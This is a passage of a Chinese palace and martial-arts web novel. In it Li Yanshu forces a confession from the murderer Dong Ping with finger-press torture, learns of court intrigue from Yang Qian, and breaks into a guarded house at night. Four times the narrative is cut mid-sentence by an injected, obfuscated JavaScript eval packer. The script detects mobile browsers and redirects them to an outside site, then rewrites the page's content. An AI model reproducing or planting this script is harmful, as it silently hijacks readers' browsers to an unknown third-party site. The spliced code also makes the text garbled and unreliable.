李砚书握住花笙的手腕,紧扣的手指又缓缓松开。 “我一定,”李砚书一字一句道,“为你们讨回公道,一定。” 公审 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521330|155131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如期而至,付拙为主审,石秋监察,严正陪同审理。三人见礼,随后依次落座。 堂下密密麻麻站满了人,刑部还是头回这么热闹。廊下吏卒神情严肃整装待发,一列排开,倒是有了几分禁军的威风。 威武—— 李砚书搀着花笙来到堂上,底下百姓立时议论纷纷。 严正瞧见花笙手上裹着白布,骤然侧眸看向付拙,寒声道:“付尚书可知此女是证人?” “本官自然知道,”付拙神情未动,道,“大理卿想说什么,此案陛下为何派你前来,你若执意要为这件小事与本官掰扯,误了时辰,大理卿可担得起责?” 严正停顿少顷,终究还是没再继续。 付拙难得吵赢了一次,但他脸上却没有丝毫喜悦之色。他看向立于堂中的李砚书,眉心突突地跳。打不得轰不得,更是骂不得,像尊祖宗一样立在那里。偏偏石秋与严正像是商量好的一般,半句不提广明县主此行径有何不妥,像是完全没有看见这号人。 “肃静!”付拙厉声道。 堂下议论声立止。 董平跪在地上,换了身囚衣,脸上没了之前的嚣张神色,比起两日前要憔悴许多。 付拙道:“董平,董家鱼塘之下数十副尸骨经仵作验证皆是女子之身,这一点与你府上小厮所述大相径庭,你作何解释?” 董平被关了两日,还受了鞭刑,早已被吓得七荤八素,找不着北了。此时经付拙这么一喝,他哆嗦着磕头,道:“我不知道,跟我没关系,我什么都知道。” 形容癫狂,言语颠倒。 严正冷哼一声,对跪伏在一侧的乞丐们道:“你们呢?可知作伪证是要挨板子,判流放的。” 乞丐见董平这幅样子,肠子都悔青了,连忙磕头道:“大人饶命啊,小人说,小人全说。” 严正道:“说!” “大人,前几日的确有人来找过小的。”说话的那名乞丐看向花笙,“就是这位姑娘和那位撞死……的举子,他们问小是否见过两个姑娘,经他们形容,小人想起是见过那两个姑娘。都是独自一人在街上,被,被……” 严正喝道:“被什么,说!” 乞丐被吓了一跳,急忙道:“都是被董府小厮带走的,有一次小人还亲眼见到这位董公子命令手下带走了一位姑娘。” 严正道:“你们之前是受何人指使当庭翻供?” 乞丐道:“两日前蒙面人突然找到我们,给了我们每人一块金饼,叫我们去堂上说是这位姑娘给了我们银子叫我们作伪证。大人,金饼都被我们藏在破庙里的观音像下,小的们见钱眼开,这才做了错事,求各位大人饶小的们一命啊!我们将金饼全都奉上,还求各位大人饶小的们一命!” 严正听完一言不发。 付拙看过去,等了一会儿,见严正还是没有要再开口的意思,才道:“带下去,按字画押。派两人去破庙取物证。” “是。” 吏卒向前将人带下。 付拙复又看向董平,道:“董平,李思与余见夏皆有人证证实是你将人带走,你还有何话可言?” 董平还是那副不知所运的样子,只一个劲地说着不知道,没关系。 李砚书看了片刻,道:“大人,此人形迹可疑,在下建议用刑,届时是真傻还是装傻立时明了。” 付拙道:“县主未免管得太宽了。此乃刑部断案,还轮不到县主来教本官该如何审案。” “是吗?”李砚书掏出皇后手谕,大声道:“此乃皇后懿旨,尔等听旨。” 此话一出,堂上堂下齐齐跪下。 待李砚书宣读完皇后懿旨,对付拙道:“娘娘特命我来监察此案,付大人还有异议吗?” 付拙只得道:“下官不敢。” 李砚书转向董平,沉声道:“上刑。” 董平将头埋得更低,几乎整张脸都贴在了地上。 一直没有开口的石秋这时道:“敢问县主,要用何刑?” 李砚书看向他,语气随意道:“拶刑。” 35. 认罪 闻言,付拙瞳孔一缩,脸色青得吓人,紧握的手背上青筋暴起。 因为他对花笙用了针刑,所以李砚书现在要对董平一个大男人用只对女子行的拶刑! 严正缓缓皱眉,似乎也不赞同,但终究没有开口。 堂下众人听见后,脸上表情大同小异。皆是惊讶于这位广明县主竟然要对董府大公子用这种刑法,这不明摆着羞辱人吗! 花笙猛地抬起眼睛,不可置信地看向李砚书。 她没想到李砚书会为了她做到这种地步,这无异于是将董家,乃至刑部都得罪了个彻底。 只是,为了她…… 付拙咬牙道:“县主可想清楚了,此刑乃……” 李砚书打断他,稳声道:“自是清楚。皇后娘娘将此重任交于我手,若因此误了时辰,付尚书恐怕当担不起。上刑!” 堂上站着的两名吏卒大气都不敢喘,不停看付拙眼色,实在不敢自作主张。 付拙本想将董平押下去,却不想李砚书横插一脚,用刑就算了,还是用那等侮辱人的拶刑,当真可恶! “上刑。”付拙闭上眼道。 吏卒得令去取刑具。 董平见状脸上顷刻间没了先前的痴傻之色,当即磕头道:“我招!我招!我全都招!人是我命人抓进府里的!大人,我认,不要用刑,我全都认!但我没有杀人,我就是请那些姑娘到董府游玩,几日后便吩咐手下将人放了,之后的事我也不知情。至于人为什么死在鱼塘里,定是那小厮见色起意,凌辱完人后怕被人发现,于是擅自做主,将人杀人抛尸鱼塘。” 说到这,董平觉得背上凉飕飕的,惊恐不定地扭头看去,正好撞进李砚书那双盛着冷气的眸子里。 “你……”董平不自觉哆嗦一下,“公堂之上,你要作甚?” 石秋在这时起身,朝李砚书拱手道:“广明县主身份尊贵,自当上座。” “多谢这位大人,还请稍等片刻。”李砚书转向看向董平,意思很明显,她要盯着人用刑。 董平呼吸急促,仰着脸急忙道:“我已认罪,你怎还能用刑!?” 李砚书居高临下地盯着他,道:“认罪?董公子算哪门子的认罪?将罪责全数推给府上小厮也算认罪?” 董平放在地上的双手倏地握紧,他挣扎着要起来,被付拙厉声喝道:“董平!不可放肆!” 吏卒取了刑具进来,候在一旁等付拙下令。 董平被付拙这一喝吓得回过神来,旋即朝付拙磕头道:“付大人!我认罪,我都认,我朝律法对已认罪的人不能再用刑啊!大人!” 付拙看向李砚书。 董平低下头磨了磨后槽牙,随后看向李砚书,咬牙切齿道:“广明县主,你虽然是奉了皇后娘娘之令前来查案,但是在下已然认罪,现在就可签字画押。县主还打算对在下用刑,就不是屈打成招这么简单的了,而是公报私仇,罔顾律法条令。此事若是叫陛下知晓,县主恐也不好交代。” “是么?”李砚书睨着董平,“屈打成招,公报私仇?就是闹到陛下那又如何,正好我有一事想去陛下面前说道说道。付尚书,你觉得呢?” 付拙抬手向上作出一个拱手的动作,皮笑肉不笑地道:“县主说笑了,公堂之上能解决的事还是不要劳烦陛下的好。都愣着作甚,没听见县主要用刑吗?” 他这话将责任都撇了个干净,底下的人听令办事,遂将董平按住,上了刑具。 须臾,董平的惨叫声响彻整个公堂,堂外围观的百姓和学子们闻声纷纷拍手叫好。这还是他们头一回见到官家少爷受刑,还是拶刑,觉得新鲜的同时又不禁将目光投向那抹一直屹立在公堂之上的背影。 “听说那位就是渭阳王之女,广明县主,听说她在渭阳时就一直打抱不平,没想到今日一见还真是名不虚传!” “渭阳王?就是前段时间刚刚打了胜战的渭阳王吗?” 那人答道:“就是那位渭阳王,这不广明县主也是上个月刚入宫受封,听说现在进了学林院与无双公主交情颇深,这次还是跟公主殿下一起去董府赴宴才发现的沉塘案呢。” 这边话音未落,里头董平已经被疼昏过去了。 吏卒松开董平,退到一旁候命。 付拙沉声道:“县主,人已经昏厥,县主要将其泼醒继续用刑吗?” 李砚书视线从董平身上转移到付拙面上,正欲开口说将人泼醒,就感觉衣袍被人轻轻拉了一下,看过去,发现花笙冲她无声摇头。 也罢。 李砚书道:“付大人说笑了,此案主审是大人,我怎好再喧宾夺主。” 说完,她曲膝退至一侧。 付拙遂作出判决,董府小厮全部处以死刑,董平秋后问斩。 震惊朝野的沉塘案终于告破,尽管这样的认罪过程令人啼笑皆非。 李砚书扶着花笙一出公堂素影与骨衣就迎了上来,将人扶上马车的刹那,李砚书敏锐地感觉到一股视线在盯着自己,她回头看去,一个人都没有。 骨衣道:“小姐?” 李砚书收回视线,摇头道:“没什么。对了,李融的墓在哪儿?我想去祭拜一下。” 骨衣道:“在城南那一块。” 天晴了,温度却低了。 李砚书上了马车,道:“回王府后,你陪我去一趟。” 骨衣道:“是。” 李砚书申时回宫,先去了一趟清宁宫,武霜退了烧,正在用膳,见到李砚书便让她坐下陪自己一道用膳。 “怎么样了?”武霜迫不及待地问。 “认了,判了秋后问斩。”李砚书咽下嘴里的粥,“方才我去祭拜了李融,将此事告知于他,希望他泉下得知,也能瞑目了。” 武霜放下筷子,看着李砚书道:“此事也算有了结果,虽然过程崎岖,但好在真相大白,还了那些姑娘一个公道。” 过了片刻,武霜又道:“听说你给董平用了拶刑?” “嗯,”李砚书道,“他们对花笙用了针刑,想让她撤销供状,若不是我及时赶到,人早已经疯了。” “什么?”武霜一愣,接着勃然大怒道,“他们怎么敢!” 李砚书夹了一筷子配菜,道:“他们什么不敢。” 今日若不是她在现场,恐怕董平一点惩罚也不会受到,此案就草草结案了。 李砚书吃好了,遂要起身作别。 武霜见她脸色不好,便道:“你今日就在清宁宫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521331|155131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歇下吧,回学林院好些路呢,别折腾了。” 李砚书道:“不了,我还要回去找阿行给我补课呢。” “无妨,”武霜道,“我跟母后说一声,岑夫子不会罚你的。” 李砚书笑道:“姨母在礼佛呢,别去打扰她了。” “那好吧。”武霜抬手招来一个宫娥,“送砚书回去。” 李砚书回到学林院时天已经黑了。 她走进院子里,屋门紧闭着,窗口也没有烛光传出,看样子白鹤行还没有回来。 李砚书推门进去,点了蜡,换了身衣服,刚准备睡下,门外就响起了敲门声。 “县主。” 是白鹤行的声音。 李砚书起身去开门,见到人后道:“今日怎地这么晚才回?” 白鹤行抱着几本书,闻言愣了一下,而后道:“今日所讲有些不懂,便多问了夫子几句。” 李砚书侧身让她进来,随后将门关上,嘟囔道:“我若是夫子,我定恼你。” “什么?”白鹤行将书放下,没听清她在说什么。 李砚书重新上了榻,掀起被褥将自己从头到尾罩住,闷声道:“没什么。” 白鹤行行事规矩,睡姿也规矩,见李砚书这般,忍不住道:“县主,古人云,坐有坐姿,睡有睡姿。” 李砚书一把掀开盖在头上的被子,侧身盯着白鹤行道:“哪个古人说的,我怎么不知道。” 许是方才动作太大,李砚书的一侧肩膀露了些出来,白皙的皮肤在赤红的被褥下愈加晃眼,白鹤行倏地背过身,严肃道:“县主自重。” “啊?” 李砚书一头雾水,不理解白鹤行怎么突然跟小媳妇一样,正想着,视线里瞥见自己不小心露出来的肩,立时明白过来,惊讶道:“不是吧,这也算自重?” 白鹤行来到小案下坐下,给自己倒了被冷茶。 李砚书被她那副煞有其事的模样逗乐了,起身过去她对面坐下,盯着人眼睛道:“阿行,你看过话本子没有?” 白鹤行放下茶盏,脸上又恢复成了以往风雨不动的神情,道:“县主不困了么?” “不困,”李砚书一瞬不瞬地盯着她看,追问道,“你先说你看过没有?” 白鹤行平静道:“没有。” 李砚书立刻道:“我就知道!我跟你说啊,话本子可有意思了,等我明日给你带两本过来,你看过就明白其中乐趣了。” 白鹤行道:“谢县主好意,我……” 李砚书打断她道:“你看看你,怎么又叫上县主了,都说了,叫我砚书就好!” 白鹤行放在茶盏上的手指用力,片刻后,才道:“砚书,我们现在该以学业为重,那些……书,还是少看为好。” 李砚书双手托腮,道:“你看都没看过,就说它不好?相信我,只要你看过一本,就会想着看下一本。” “县主既然不困,”白鹤行道,“那就现在补这两日县主落下的课业吧。” “哈哈……”李砚书干笑两声,二话不说起身冲回床榻,嘴里不停道,“困了,困了。阿行你也早些睡,我不跟你说了,我好困啊……” 白鹤行头都没偏一下,抬手将冷茶一饮而尽。 36. 付拙 秋雨过后连着晴了好几日。 而李砚书连着上了几日学,整个人看着要比那几日宫里宫外来回奔波还要憔悴。 这日下学,夫子刚走,李砚书就立刻趴在座位上。 武霜见着还以为她病了,过来一瞧,急道:“砚书?可是病了?” 李砚书趴在桌上的那颗头左右摇摆,有气无力地道:“无双,我们还有多久才能放年学啊?” 白鹤行闻言瞥了她一眼。 “还有两月呢,要到冬月呢。”武霜松了口气,无奈道,“如今才入秋,你就想着放年学了?” 李砚书听完就眼前一黑,连说话的力气都没了。 那场秋雨过后,武信就没再来听过学,李砚书问过武霜,说是染了风寒,御医说不能受风,因此现在闭门养病。 李砚书听着就想起了洛霓,也是吹一点风就能引起风寒,一病就要养好几个月才能养好。她想到登州蓬莱那位高人,照日程来算,她寄出的信应该也到了阿娘手中。 武霜见她没事,便道:“别想了,明日礼射,赶紧回去休息吧。” 李砚书叹了口气,道:“知道了,你先走吧,我需要缓会儿。” 夫子的声音好像还残留在她脑中不停在响,跟念经似的,她需要静静。 武霜懒得再理她,转身就走。 过了一会儿,李砚书转过头,面朝白鹤行那边,见她还在,霎时感动道:“阿行,还是你好,留下来陪我。” 白鹤行垂眸看着书,翻了一页,闻声眼都没抬一下,道:“县主在这,我出不去。” “……” 李砚书默默转过头。 须臾,她又转过来,眼里闪着光,道:“阿行,我们去吃好吃的吧!” 白鹤行依旧没看她,只道:“谢县主好意,我今日不想吃馄饨。” “不是馄饨,”李砚书凑近她一些,一脸神秘,“是一个非常好吃的东西。” 白鹤行终于看她一眼,接着冷漠道:“不去。” 李砚书一把抱住她的一只胳膊,摇道:“去嘛去嘛,好阿行,去嘛去嘛。” 白鹤行立时僵住,梗着脖子无措道:“放开!这样成何体统,有辱斯文,李晗!” 李砚书嬉笑道:“你说去我就放开。” 白鹤行闭上眼,半晌后才咬牙道:“……我去。” 半个时辰后。 白鹤行抬眼看着上方“抚仙楼”三字,神色微动。 李砚书浑然不觉,笑道:“怎么样,我没骗你吧。这里有道‘冷修羊’味道极好,可惜上次没尝两口就被打断了,今日可得好好尝尝。” 跑堂伙计一见着李砚书,立刻满脸堆笑地过来,热情道:“贵人里边请!” 李砚书也笑,还未开口,往里边看了一眼,好呀,座无虚席! 伙计见状立刻道:“二位小姐一看就不是普通人,二楼雅间有请!” 李砚书想着上回刘材说冷修羊每日限量,供不应求,便道:“今日可还有冷修羊?” 伙计在前引路,侧身答道:“有的,二位小姐运气好,今日刚好还剩最后一道呢!” 李砚书微微挑眉,偏头看向白鹤行,二人对视一眼,李砚书旋即无声笑了下。 伙计带她们来到走廊最右边一间雅间,推门弓身做出一个请姿,道:“二位小姐,到了。若有什么吩咐尽管招呼小的,小的这就去为二位小姐传菜。” 李砚书提步进去,屋内布置素雅,只是临窗那处多了一个与周围布置违和的玄色背影。 白鹤行拱手道:“杨二公子。” 杨乾回过身,朝李砚书拱手道:“广明县主。”接着,他又朝白鹤行道:“白姑娘。” 李砚书就近拣了个椅子坐下,看着空荡荡的桌子,道:“杨二公子来了挺久了吧,怎的连道菜都没上,元安与人谈事是这样的么?在渭阳时好歹还有壶茶呢。” “是在下考虑不周了,”杨乾唤了声吉英,“上茶。” 门外传来一声是。 话音刚落,吉英端着茶壶茶盏进来,放下东西,人又退了出去。 李砚书饶有兴致地想,门外之人轻工倒是了得。这般近的距离,她竟是等人出了声才发现。杨家,倒是比她想象中要有意思了。 “杨二公子此番大费周章,应该不是为了请客吃饭这么简单吧?”李砚书笑起来,“昔日杨国公调度千军万马,张弛有度,游刃有余,今日杨二公子青出于蓝而胜于蓝,倒是我从前眼拙,竟不知杨二公子手段如此了得。” “县主生气是应该的,”杨乾斟着茶,“那日杨某失信于人,实在无从狡辩。” 说罢,他将斟好的茶奉上,是为赔罪。 李砚书道:“这我可不敢当,毕竟那日杨二公子也不是与我允诺。” 杨乾脸上没有丝毫不耐,道:“殿下那里在下自会去请罪,直到殿下消除心中不虞。” “希望这次杨二公子能说到做到。”李砚书终于接过茶。 杨乾又斟了一杯,递给白鹤行,道:“请。” 白鹤行双手接过,“多谢。” 李砚书抿了口茶,脑子里却在想,杨国公年事已高,虽然在元安是根镇海神针,但是也仅限于维系住杨家在元安世家之位。若是杨国公哪一日仙去,以杨家晚辈今日之势,元安世家之中恐怕不会再有杨家一席之地。杨乾费尽心思,看似是在帮李融,实则也是在借她与武霜之手打压董家。可若是如此,杨乾的目的就已经达到了,那今日他又何必再多此一举呢? 李砚书搁下茶盏,道:“二公子有话直说,我不喜欢拐弯抹角,上次之事也就罢了,若还有下次,咱们怕是连朋友也做不成了。” “县主快人快语,那我也不藏着掖着了。”杨乾道,“董平虽已判刑,但此刻人已不在刑狱之中。” 李砚书微怔,道:“消息属实?” 杨乾道:“此事在下没有欺骗县主的理由。” 李砚书看向白鹤行,发现对方正在思索,便收回视线再度看向杨乾,道:“此事才过去几日,董酺胆大包天,竟敢在这个时候将人秘密转移?不对,刑部是付拙的地盘,付家与董家素来并无交情,为什么这次却愿意冒天下之大不韪公然袒护董平,这里面定有蹊跷。你还知道什么?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521332|155131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “素日没有交情,并不代表不能交易。”杨乾道,“付拙掌管刑部,管天下冤案,理百家纠纷。董酺掌管京畿要务,天子近臣,疏通山海,后者显然肥美,引人垂涎。” 李砚书道:“你是说付拙想要分一杯羹?” 刑部终究是弹丸之地,一年到头全算上也比不上京兆府尹一根手指头流出来的油水多。 杨乾笑道:“不瞒县主,如今元安世家之列,杨家已然式微。而付家虽有个刑部尚书在,但族中子弟中却是一个能堪重用的都没有。不像户部、吏部、礼部、大理寺,乃至于御史台,他们之间都有大大小小的姻亲联系,唯独刑部没有。” 李砚书道:“为何?” “因为付家青年才俊都死了。”杨乾说到这,看了一眼白鹤行,接道,“武明三年,当时的付家当家人付逊带着族上青年才俊前往公主府赴宴,正巧碰上乱党谋逆,那一日除长公主以外,其余人等无一人生还,全部死于叛党刀下。” “那一日死的还有前驸马,”白鹤行突然道,“霍寺。” 李砚书面露诧异,一部分是因为付家之事,还有一部分是因为白鹤行的突然开口。 她再一想,似乎明白了什么。 “十三年前,”李砚书琢磨道,“付拙正当年龄,他为何没有随行一同赴宴?” “因为付拙是付逊养在外面的私生子。”杨乾道,“付逊的夫人是当时宫里受宠娘娘的妹妹,两人婚前付逊许诺此生不纳妾,惟愿夫妻二人携手白头。此事人尽皆知,连陛下都调侃过他二人夫妻伉俪,惹人艳羡。” 李砚书渐渐皱眉,后面的事大致也猜到了些。付逊嘴上说得好听,背地里却是什么下流事都做了。为了掩人耳目,就把亲生儿子养在外边。敢做不敢当的东西,后面也是报应。只是苦了那位夫人,刚刚经历丈夫儿子之死,又要面临爱人背叛之苦。 杨乾接道:“付家竹篮打水一场空,只能接回付拙认祖归宗。付夫人闹了一阵,后面也不了了之,没了消息。付拙被接到付家后极为低调,从未出席各大席面,就在元安所有人都要忘了还有付家付拙这么一号人的时候,那年春闱他又从天下考生之中杀出了一条血路,最终陛下点了他做那一年的探花郎。而后付拙用了十年,才爬到刑部尚书这个位置。这些年付家门丁不盛,眼看其他世家牵丝成网,付拙岂能坐以待毙。” “与其说是付拙要分一杯羹,倒不如说是世家在拉拢他。元安诸多世家就像是一个球,他们围在一起,说到底只是为了‘利益’二字。这样的关系让他们密不可分,却又互相防备。可以锦上添花,也可以雪上加霜,反正利益永远摆在那里。” 李砚书静静地没有开口。 渭阳李家或许不在元安世家之列,但是因为李阿鼎与楚婞,李家也到了无人能及的鼎盛时期。而李砚书和李眭作为万众瞩目的小一辈,身上的担子其实很重。世人常说风水轮流转,父辈挣下的荣誉,他们能传承,能超越,也能落败。 杨乾说完,房内忽地安静下来,三人脸上神色各异,均未再开口。 这时传来敲门声,吉英的声音随后响起,“主子,现在上菜吗?” 37. 夜行 李砚书没了胃口,正色道:“言归正传,董平在哪?” 白鹤行低敛着眉眼,像是在思索着什么。 杨乾意外地看了眼李砚书,没想到她会这么快做好决定。 “我这人做事喜欢有始有终,既然许诺于人,就一定要做到。”李砚书站起来,从二楼看下去,巷子寂静鲜有人过,因此堆了不少杂物。 杨乾随即起身,道:“县主重诺,杨乾汗颜。” 从抚仙楼出来,白鹤行一直在默默观察着李砚书的神情,见神色平静,没有丝毫恼怒,心下一紧,便道:“此事不能冲动,还需从长计议。” 李砚书看向她,甚至还笑了一下,她道:“我没有冲动,我现在很清醒。” 白鹤行微微垂眸,道:“不管董平是否真死,明日后他都会成为一个死人。即便他苟延残喘,这世上都不会再有董平这号人。但你若是将此事捅破,届时便是真的与董家撕破脸,到不死不休的地步。” 李砚书脚步未停,道:“阿行,我或许还不能完全理解你与先生说的棋局是何意,为人刀俎也好,为人手棋也罢,我从来不怕。你说得不错,我是因为有我阿爹阿娘托底,有整个渭阳托底,所以我才不怕,但其实也不全是。家人或许是我的底气,但同时也是我的软肋。你与先生肯定说过,我阿爹异姓封王,盛极必反,这些我很早之前就清楚,我也曾恐慌,生怕哪一日我们一家就全都人头落地,身首异处了。” “我在来元安之前遇到过一个姑娘,”李砚书接道,“她身世坎坷受尽磋磨,我本以为她会就此一蹶不振,但没想到她却跟我说,以后的日子里,她要为自己而活。阿行,女子不是菟丝子,不是非要依附他人才能活下去,她们可以自力更生,也可以走出一条属于她们的锦绣前程。” “可月盈则缺,”白鹤行道,“天下时局不会一层不变,来日山海颠倒,你我皆会身不由己。” “那又如何。”李砚书道,“我师父曾说,历史洪流从来都是裹挟着人们前进,身不由己的人多了。但当你明白心中所想的是什么,想要的又是什么,即便是随波逐流,也不会感到迷茫失措。与其担心李家何时覆灭,不如享受当下,快意恩仇。我行剑道,师父绶我利剑那日,我便清楚地知道自己想要的是什么。头顶三尺有神明,问心无愧的事,即便来日大厦倾覆,我也无悔。在我这里善就是善,恶就是恶,杀人就要偿命。” 白鹤行听完沉默了片刻,而后道:“你杀过人么?” 李砚书道:“没有。” “董酺不会毫无准备,”白鹤行看着她,道,“那条巷子里估计都是他的人,你若去,杀的可不止一人。杀戮会改变一个人,从内至外,你真的准备好了吗?” 李砚书的剑还没有见过血,不知道血腥味其实也可以入梦,如影随形,日日夜夜地缠着一个人,直至成为梦魇。 “阿行,这不一样。”李砚书停下,看着她的眼睛道,“死亡并不可怕,可怕的是人心中的执念。执念决定心性,一念成佛,还是一念成魔。妄屠才是杀戮,我自揖身清,执念拉不下我,只会拉下该死之人。” 落日西垂,白鹤行一只脚不觉间踩上了李砚书的影子。此刻影子倾斜,白鹤行俯首天地间,这一瞬却成了斜影之上的一抹蝼蚁。 “若我有朝一日陷入口诛笔伐之围,你不必为我辩解。”李砚书道,“我自坦荡,风雪无惧。” 那日红霞满天,绯色烧了元安半边天,也染红了白鹤行的眼底。须臾后,她道:“我知道了。” 酉时末,夜幕彻底笼罩元安。 西市大街某处深巷里,两个醉鬼勾肩搭背地从里面晃出来。其中一人打了个酒嗝,眯着眼哼道:“听说极乐坊新来了一批小娘子,走,哥哥带你去开开眼。” 看着年岁略小那人嘿嘿一笑,口齿不清地道:“多,多谢大哥……” 两人刚走,一侧阴影里缓缓走出一个黑色身影。 夜行衣李砚书之前只见她师父穿过,她曾想等日后自己行走江湖时,也要换上此衣去惩恶扬善,没想到如今穿上了,却不是在江湖,而是在元安。 一刻钟后,李砚书来到一处荒宅附近。此处看似距离刑部大门甚远,但若是按照刑狱位置来看,此处离刑狱却是极近,两者间只隔了一条街。若是杨乾情报无误,宅子里有条暗道可以直接通往刑狱,若是在这期间有人想要去见董平,董家的人也能在第一时间内知道并将董平带回刑狱,真是好一招金蝉脱壳。 若李砚书今夜没来,明日董酺就会将人秘密送出元安,天下这么大,以董家之势,董平依旧能潇洒度日。而李融尸骨未寒,那些姑娘甚至有些连身份都不能确认,一抔黄土洒下,百年后也是孤魂野鬼一缕,无人在意。 宅子里面是什么情况杨乾也不知情,怕打草惊蛇,他的人都是在宅子附近观察。李砚书翻墙进去,趁着月色辨物,贴在墙根处慢慢往前走。这里应该是类似后花园一般的地方,院子很大,按规制应该是三品以上官员的府邸,假山池塘都有,看起来荒废有些年头了,连池子都干了。 李砚书穿过假山,在一个转角处停了下来。 前面一个小厮嘀嘀咕咕地走来,一只手拎着食盒,一只手提溜着灯笼。 应是为了掩人耳目,小厮手里的灯笼很小,能照亮的范围也很有限。这正好给了李砚书下手之机,趁小厮不注意直接捂着他的嘴将他按下。 小厮手里的食盒和灯笼在惊慌之中脱手,灯笼落地之际被李砚书伸手接住,食盒用脚抵了一下,滚到了两人脚边。小厮被人用刀抵在脖子那里,吓都吓死了,想求饶又被捂着嘴,腿一软就差给人跪下了。 李砚书压低了声音,道:“不要睁开眼,我问什么,你答什么,否则——”说罢,手下一个用力。 小厮忙不迭点头,眼睛都不敢睁开。 李砚书道:“你方才是给谁送饭?” 小厮哆嗦着道:“少少……少爷。” 李砚书道:“名字。” 小厮道:“董平。” 李砚书道:“这里守卫一共有多少?” 小厮道:“小的不知……” 刀刃近了几分,小厮立刻接道:“门口有两人,院外也有两人。” 只有四个人吗?李砚书不相信,沉声道:“不说实话?嗯?” “真的只有四人,”小厮立即道,“原本有八人的,但是老爷觉得人太多了容易惹人怀疑,就撤了四人。好汉饶命,小的不敢欺瞒好汉你啊。” 董酺很谨慎,这么一处荒宅,陡然之间多出近十号人,确实容易惹人生疑。难怪李砚书进来后一个人都没有见着,感情都在院子那边呢。 “想要活命就按我说的做,”李砚书将灯笼按在小厮手里,“慢慢蹲下捡起食盒,不要回头,装作什么都没发生,今夜发生的事情与你无关,你什么都不说就能活下去,你一旦说了——” 小厮赶忙应声,“小的懂,小的懂,今夜小的什么都没见着,小的离开这后就全都忘了。” 他慢慢蹲下捡起食盒,确定后面这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14521333|155131||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位“好汉”没有要杀他的意思后,埋头就往前跑,恨不能再长出一双腿来,生怕“好汉”反悔,再杀他灭口。 小厮没有说谎,今夜守卫董平的人确实只有四个人。其中有两人守在董平住的那间房上方,另外两人则在院子里来回巡逻,防止那个不长眼的小毛贼翻墙进来。 夜黑风高,杂草丛生的院子里只有主屋内还闪着烛光。 沙沙—— 小厮倏地看去,旋即敛息缓步朝那处走去。 什么都没有,就在他要松口气的时候,忽然侧旁一阵劲风袭来,他还没来得及反应,后颈一阵剧痛,顷刻间人就没了意识。 李砚书将人放倒,本以为动作够轻了,却还是惊动了其他人。 “什么人!” 随着话音而来的还有一抹刀光,李砚书偏头躲开,瞳孔里映出雪亮的刀口,径直朝她面门而来。她横刀而挡,下一刻,刀锋碰击的声音将寂静的夜撕开了一个口子。 房上的两人闻声下来,身影一闪,顷刻间三人将李砚书团团围住。 与李砚书交过手的那人沉声道:“小心点,他武功不弱……” 话音刚落,李砚书忽地迎头朝他砍去一刀,那人赶忙横刀一挡,却不想双臂猛地下沉,脚下一个踉跄,呼吸一乱就被人当胸一脚,直接踹出去两米远。 三对一瞬间成了二对一。 那两人趁机出手,一前一后同时提剑朝李砚书刺去。刹那间李砚书腹背受敌,眼见那两柄利剑就要刺在李砚书身上。 “砰”地一声,一前一后两把刀正好挡在剑锋面前,堪堪接下这致命一击。李砚书抵在身前的刀顺势挥出一刀,剑锋在刀身上发出“刺啦”一声,同时向身后之人回刀格挡,刀锋斜劈向上,直冲那人面门而去。 那两人明显一惊,他们没想到面前这个瘦小的黑衣人竟然会使双刀! 轻敌乃兵家大忌。 身后那人就因为这么一下失误,剑锋偏斜而下,被李砚书转身一脚踹开,刀锋紧随而来,留下了今夜的第一滴血。 这下二对一成了一对一。 一连对战了两人,李砚书的攻势不弱反增,紧密的刀风像是暗夜里呼啸不止的冷风,很快压得最后那人招架不住,最后只能退至屋前。那人咬牙道:“阁下究竟是何人?此乃京兆府尹董家之地,阁下身手不凡,若是就此收手,我家主人定会重用阁下。” 李砚书提步上阶,抬起那把沾了血的刀,二话不说就朝那人砍去。 这一击用了十成的力,那人提剑抵挡,却被重力压得后退几步,“嘭”一声抵在了门前。 屋内的董平捂着脑袋,双眼紧闭地躲在桌子底下,门外的打斗声无比清晰地传进他耳朵里,随着门口响起“嘭”的一声重响,噼里啪啦的打斗声终于停了下来。 